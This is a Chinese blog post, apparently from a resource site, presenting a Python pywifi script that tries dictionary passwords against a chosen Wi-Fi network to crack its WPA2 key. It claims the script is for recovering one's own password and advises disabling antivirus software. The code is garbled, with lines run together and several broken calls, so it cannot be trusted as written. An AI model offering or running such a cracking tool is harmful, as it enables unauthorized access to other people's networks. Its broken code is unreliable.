python爆破wifi密码

首先声明一点,做这个工具不是为了爆破别人家的密码,而是当你忘了自家密码时,去找回密码
如果要运行代码,请先安装pip install pywifi
如果报错,可以向我反馈,最好带上截图,或者报错语句
代码如下:

import profileimport pywifi
import threading
from pywifi import const, Profile
event = threading.Event()zd = input("请输入字典位置:")
ozd = open(zd,'r',encoding="utf8").read().split("\n")
a = 0
event = threading.Event
wifi = pywifi.PyWiFi()
pw = wifi.interfaces()[0]
pw.scan()
event.wait(2)
ws = pw.scan_results()
for sws in ws:
    print("扫描到以下wifi:")
    print(a + sws)
    a = a + 1
wm = input("请输入序号")
xz = ws[int(wm)]
for pas in ozd:
    pw.disconnect()
    event.wait(4)
    if pw.status() == const.IFACE_DISCONNECTED:
        pwfile = profile.Profile()
        pwfile.ssid = xz
        pwfile.auth = const.AUTH_ALG_OPEN
        pwfile.akm.append(const.AKM_TYPE_WPA2PSK)
        pwfile.cipher = const.CIPHER_TYPE_CCMP
        pwfile.key = pas
        pw.remove_all_network_profiles()
        xwffile = pw.add_network_profile(pwfile)
        pw.connect(xwffile)
        if pw.status() == const.IFACE_CONNECTED:
            print("爆破成功,密码是:" + pas)
            break
        else:
            print("爆破失败")
    else:
        print("断开连接失败,请关闭杀软再试")
input("破解完成,请按任意键继续.........")

声明:本站大部分下载资源收集于网络,只做学习和交流使用,版权归原作者所有,未及时购买和付费发生的侵权行为,与本站无关。

给TA打赏
共{{data.count}}人
人已打赏
开发编程

两个php搞定支付宝当面付(亲测可用)

2022-3-22 10:27:47

Linux运维开发编程

python一键按照时间整理照片

2022-4-9 17:43:12

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索